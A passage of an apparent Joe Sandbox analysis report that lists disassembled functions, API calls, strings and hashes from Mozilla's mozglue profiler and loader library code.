strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6CABCD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6CABCD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6CABCD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6CABCDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6CABCDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6CABCDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6CABCDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6CABCE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6CABCE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6CABCE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6CABCE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6CABCE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6CABCE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6CABCE8A

Strings

noiostacks, xrefs: 6CABCCBE
power, xrefs: 6CABCE84
default, xrefs: 6CABCC21
unregisteredthreads, xrefs: 6CABCE58
leaf, xrefs: 6CABCC66
seqstyle, xrefs: 6CABCCE6
stackwalk, xrefs: 6CABCCF8
mainthreadio, xrefs: 6CABCC7C
nativeallocations, xrefs: 6CABCDA8
fileio, xrefs: 6CABCC92
nostacksampling, xrefs: 6CABCD7C
audiocallbacktracing, xrefs: 6CABCDD4
screenshots, xrefs: 6CABCCD4
ipcmessages, xrefs: 6CABCDBE
Unrecognized feature "%s"., xrefs: 6CABCEA0
markersallthreads, xrefs: 6CABCE42
jsallocations, xrefs: 6CABCD0E
fileioall, xrefs: 6CABCCA8
preferencereads, xrefs: 6CABCD92
notimerresolutionchange, xrefs: 6CABCE00
java, xrefs: 6CABCC37
processcpu, xrefs: 6CABCE6E
cpuallthreads, xrefs: 6CABCE16
samplingallthreads, xrefs: 6CABCE2C

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: cf282579714661215f66cea703bc1eb3eea1f5b9c5fa905d1fa8dd6a93abba7e
Instruction ID: db9ef3b8d9ae4814503c3005bd6a389a84c56b0e9303014ec966c6cd72cd86d6
Opcode Fuzzy Hash: cf282579714661215f66cea703bc1eb3eea1f5b9c5fa905d1fa8dd6a93abba7e
Instruction Fuzzy Hash: DC51B8D4A0532656FA0032296E10FAE190CFB5724EF14503AED29B5E80FB34A6CE56F7

Function 6CA84470 Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA84730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6CA844B2,6CAFE21C,6CAFF7F8), ref: 6CA8473E
Part of subcall function 6CA84730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6CA8474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6CA844BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6CA844D2
InitOnceExecuteOnce.KERNEL32(6CAFF80C,6CA7F240,?,?), ref: 6CA8451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6CA8455C
LoadLibraryW.KERNEL32(?), ref: 6CA84592
InitializeCriticalSection.KERNEL32(6CAFF770), ref: 6CA845A2
moz_xmalloc.MOZGLUE(00000008), ref: 6CA845AA
moz_xmalloc.MOZGLUE(00000018), ref: 6CA845BB
InitOnceExecuteOnce.KERNEL32(6CAFF818,6CA7F240,?,?), ref: 6CA84612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6CA84636
LoadLibraryW.KERNEL32(user32.dll), ref: 6CA84644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6CA8466D
VerSetConditionMask.NTDLL ref: 6CA8469F
VerSetConditionMask.NTDLL ref: 6CA846AB
VerSetConditionMask.NTDLL ref: 6CA846B2
VerSetConditionMask.NTDLL ref: 6CA846B9
VerSetConditionMask.NTDLL ref: 6CA846C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6CA846CD
GetModuleHandleW.KERNEL32(00000000), ref: 6CA846F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6CA846FD

Strings

WRusr.dll, xrefs: 6CA844B5
user32.dll, xrefs: 6CA84557, 6CA8463F
kernel32.dll, xrefs: 6CA844CD
l, xrefs: 6CA84578
NativeNtBlockSet_Write, xrefs: 6CA846F7

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-3894940629
Opcode ID: dd950e1e2614a83c9e9161ca24d89b9f9467c3e2c83f13b3fcbce000c7196c9e
Instruction ID: c08cd513e8bb0d91a5e27b3d322cfcbfaf5ac87efc458d2aa682483c92226741
Opcode Fuzzy Hash: dd950e1e2614a83c9e9161ca24d89b9f9467c3e2c83f13b3fcbce000c7196c9e
Instruction Fuzzy Hash: D361F3B0601349AFEB149F64EC49B99BBF8FB46308F08C15CE5249B681D77489C6CBA0

Function 6CABF6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAB9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CA84A68), ref: 6CAB945E
Part of subcall function 6CAB9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAB9470
Part of subcall function 6CAB9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAB9482
Part of subcall function 6CAB9420: __Init_thread_footer.LIBCMT ref: 6CAB949F

GetCurrentThreadId.KERNEL32 ref: 6CABF70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6CABF8F9

Part of subcall function 6CA86390: GetCurrentThreadId.KERNEL32 ref: 6CA863D0
Part of subcall function 6CA86390: AcquireSRWLockExclusive.KERNEL32 ref: 6CA863DF
Part of subcall function 6CA86390: ReleaseSRWLockExclusive.KERNEL32 ref: 6CA8640E

ReleaseSRWLockExclusive.KERNEL32(6CAFF4B8), ref: 6CABF93A
GetCurrentThreadId.KERNEL32 ref: 6CABF98A
GetCurrentThreadId.KERNEL32 ref: 6CABF990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CABF994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CABF716

Part of subcall function 6CAB94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CAB94EE
Part of subcall function 6CAB94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CAB9508

Part of subcall function 6CA7B5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6CA7B5E0

GetCurrentThreadId.KERNEL32 ref: 6CABF739
AcquireSRWLockExclusive.KERNEL32(6CAFF4B8), ref: 6CABF746
GetCurrentThreadId.KERNEL32 ref: 6CABF793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6CAF385B,00000002,?,?,?,?,?), ref: 6CABF829
free.MOZGLUE(?,?,00000000,?), ref: 6CABF84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6CABF866
free.MOZGLUE(?), ref: 6CABFA0C

Part of subcall function 6CA85E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CA855E1), ref: 6CA85E8C
Part of subcall function 6CA85E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CA85E9D
Part of subcall function 6CA85E60: GetCurrentThreadId.KERNEL32 ref: 6CA85EAB
Part of subcall function 6CA85E60: GetCurrentThreadId.KERNEL32 ref: 6CA85EB8
Part of subcall function 6CA85E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CA85ECF
Part of subcall function 6CA85E60: moz_xmalloc.MOZGLUE(00000024), ref: 6CA85F27
Part of subcall function 6CA85E60: moz_xmalloc.MOZGLUE(00000004), ref: 6CA85F47
Part of subcall function 6CA85E60: GetCurrentProcess.KERNEL32 ref: 6CA85F53
Part of subcall function 6CA85E60: GetCurrentThread.KERNEL32 ref: 6CA85F5C
Part of subcall function 6CA85E60: GetCurrentProcess.KERNEL32 ref: 6CA85F66
Part of subcall function 6CA85E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6CA85F7E

free.MOZGLUE(?), ref: 6CABF9C5
free.MOZGLUE(?), ref: 6CABF9DA

Strings

[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6CABF9A6
Thread , xrefs: 6CABF789
" attempted to re-register as ", xrefs: 6CABF858
[D %d/%d] profiler_register_thread(%s), xrefs: 6CABF71F

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: f0e6c66fdd61f9e1405dcdaecc80e01cce4a2f9c745b268d2b1edd837cde4ea6
Instruction ID: c03c8859331992fc70106606f0dd225928d36e33ffdc0698860660b33f92133c
Opcode Fuzzy Hash: f0e6c66fdd61f9e1405dcdaecc80e01cce4a2f9c745b268d2b1edd837cde4ea6
Instruction Fuzzy Hash: 498126786003049FD710DF64D9406AAB7F9FF85308F48855DE89597B51EB31988ECBA2

Function 6CA85E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CA85E9D

Part of subcall function 6CA95B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6CA956EE,?,00000001), ref: 6CA95B85
Part of subcall function 6CA95B50: EnterCriticalSection.KERNEL32(6CAFF688,?,?,?,6CA956EE,?,00000001), ref: 6CA95B90
Part of subcall function 6CA95B50: LeaveCriticalSection.KERNEL32(6CAFF688,?,?,?,6CA956EE,?,00000001), ref: 6CA95BD8
Part of subcall function 6CA95B50: GetTickCount64.KERNEL32 ref: 6CA95BE4

GetCurrentThreadId.KERNEL32 ref: 6CA85EAB
GetCurrentThreadId.KERNEL32 ref: 6CA85EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CA85ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6CA86017

Part of subcall function 6CA74310: moz_xmalloc.MOZGLUE(00000010,?,6CA742D2), ref: 6CA7436A
Part of subcall function 6CA74310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6CA742D2), ref: 6CA74387

moz_xmalloc.MOZGLUE(00000004), ref: 6CA85F47
GetCurrentProcess.KERNEL32 ref: 6CA85F53
GetCurrentThread.KERNEL32 ref: 6CA85F5C
GetCurrentProcess.KERNEL32 ref: 6CA85F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6CA85F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6CA85F27

Part of subcall function 6CA8CA10: mozalloc_abort.MOZGLUE(?), ref: 6CA8CAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CA855E1), ref: 6CA85E8C

Part of subcall function 6CA8CA10: malloc.MOZGLUE(?), ref: 6CA8CA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CA855E1), ref: 6CA8605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CA855E1), ref: 6CA860CC

Strings

GeckoMain, xrefs: 6CA85ECE, 6CA86015

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: 4b656c3588f98665f149c0e46c84b90e34f7e0fdc0993d7ba0a6e8619d2d68b9
Instruction ID: d3ebadf5114527716a73b6e7c4c8a4670227595f7d5bbd6ca69a51ccc80d3f76
Opcode Fuzzy Hash: 4b656c3588f98665f149c0e46c84b90e34f7e0fdc0993d7ba0a6e8619d2d68b9
Instruction Fuzzy Hash: 737107B0605741CFD714DF28D58065ABBF0FF59308F148A6DE89687B52D731E889CB92

Function 6CA89590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA731C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6CA73217
Part of subcall function 6CA731C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6CA73236
Part of subcall function 6CA731C0: FreeLibrary.KERNEL32 ref: 6CA7324B
Part of subcall function 6CA731C0: __Init_thread_footer.LIBCMT ref: 6CA73260
Part of subcall function 6CA731C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6CA7327F
Part of subcall function 6CA731C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CA7328E
Part of subcall function 6CA731C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CA732AB
Part of subcall function 6CA731C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CA732D1
Part of subcall function 6CA731C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CA732E5
Part of subcall function 6CA731C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CA732F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6CA89675
__Init_thread_footer.LIBCMT ref: 6CA89697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6CA896E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6CA89707
__Init_thread_footer.LIBCMT ref: 6CA8971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CA89773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6CA897B7
FreeLibrary.KERNEL32 ref: 6CA897D0
FreeLibrary.KERNEL32 ref: 6CA897EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CA89824

Strings

Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6CA89670
MapViewOfFileNuma2, xrefs: 6CA897B1
ntdll.dll, xrefs: 6CA896E3
NtMapViewOfSection, xrefs: 6CA89701

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: d48d038fa5f63f1449748fa4b303aee18cddb1876e95b6f2f224f2a11d7bad5f
Instruction ID: 5faf30408ceda5c430509c7ca929025104a8590685046b5599f033fd7be23948
Opcode Fuzzy Hash: d48d038fa5f63f1449748fa4b303aee18cddb1876e95b6f2f224f2a11d7bad5f
Instruction Fuzzy Hash: 8961A5716013069FDF049FB4FD84B9ABBF5EB4A314F14851DE96593B80E730A886CBA1

Function 6CAD6660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6CAFF618), ref: 6CAD6694
GetThreadId.KERNEL32(?), ref: 6CAD66B1
GetCurrentThreadId.KERNEL32 ref: 6CAD66B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6CAD66E1
EnterCriticalSection.KERNEL32(6CAFF618), ref: 6CAD6734
GetCurrentProcess.KERNEL32 ref: 6CAD673A
LeaveCriticalSection.KERNEL32(6CAFF618), ref: 6CAD676C
GetCurrentThread.KERNEL32 ref: 6CAD67FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6CAD6868
RtlCaptureContext.NTDLL ref: 6CAD687F

Strings

WalkStack64, xrefs: 6CAD6890

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: a2dfe89637b8bdb96478ff1e73d674605314584eb681eaa4dd8b32e1695c9541
Instruction ID: 910546ac47d53c21cbaf07cf0d370f7fab70ba77251995a61a2331d187a576c0
Opcode Fuzzy Hash: a2dfe89637b8bdb96478ff1e73d674605314584eb681eaa4dd8b32e1695c9541
Instruction Fuzzy Hash: AF51BD71A09302AFDB15CF24D844B9ABBF4BF89714F05892DF9A887740D770E589CB92

Function 6CABDE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAB9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CA84A68), ref: 6CAB945E
Part of subcall function 6CAB9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAB9470
Part of subcall function 6CAB9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAB9482
Part of subcall function 6CAB9420: __Init_thread_footer.LIBCMT ref: 6CAB949F

GetCurrentThreadId.KERNEL32 ref: 6CABDE73
GetCurrentThreadId.KERNEL32 ref: 6CABDF7D
AcquireSRWLockExclusive.KERNEL32(6CAFF4B8), ref: 6CABDF8A
ReleaseSRWLockExclusive.KERNEL32(6CAFF4B8), ref: 6CABDFC9
GetCurrentThreadId.KERNEL32 ref: 6CABDFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CABE000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6CA84A68), ref: 6CABDE7B

Part of subcall function 6CAB94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CAB94EE
Part of subcall function 6CAB94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CAB9508

Part of subcall function 6CAACBE8: GetCurrentProcess.KERNEL32(?,6CA731A7), ref: 6CAACBF1
Part of subcall function 6CAACBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CA731A7), ref: 6CAACBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6CA84A68), ref: 6CABDEB8
free.MOZGLUE(00000000,?,6CA84A68), ref: 6CABDEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6CABDF38

Strings

<none>, xrefs: 6CABDFD7
[I %d/%d] locked_profiler_stop, xrefs: 6CABDE83
[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6CABE00E

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: 0ea98d32bbed50fe0a085a6f365107eb2818b0af62410ffe6e254e2adeb040ff
Instruction ID: 41b2e64877c8a7c63b75b16352aac7bc767ab6da0959ae09bf27ea982ee6e249
Opcode Fuzzy Hash: 0ea98d32bbed50fe0a085a6f365107eb2818b0af62410ffe6e254e2adeb040ff
Instruction Fuzzy Hash: 1541E835B012029FDB149F68ED047AD77B9EB4130DF144119E965A7B05C731988BC7E6

Function 6CACD4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CACD4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CACD4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CACD52A
GetCurrentThreadId.KERNEL32 ref: 6CACD530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CACD53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CACD55F
free.MOZGLUE(00000000), ref: 6CACD585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CACD5D3
GetCurrentThreadId.KERNEL32 ref: 6CACD5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CACD605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CACD652
GetCurrentThreadId.KERNEL32 ref: 6CACD658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CACD667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CACD6A2

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 756643d526caf25e8dcf7b7e0572e38907cefc5756d14eeafa7846f2fa496392
Instruction ID: 9f0602d8722f468be3f100e0408b78e635aadd85ff4dd2b75b1a7a84c6e187ca
Opcode Fuzzy Hash: 756643d526caf25e8dcf7b7e0572e38907cefc5756d14eeafa7846f2fa496392
Instruction Fuzzy Hash: 40515E75A04705DFC704DF34D884A9ABBF4FF89318F10862EE95A87711DB31A989CB92

Function 6CA95670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6CA956D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CA956E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6CA956F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6CA95744
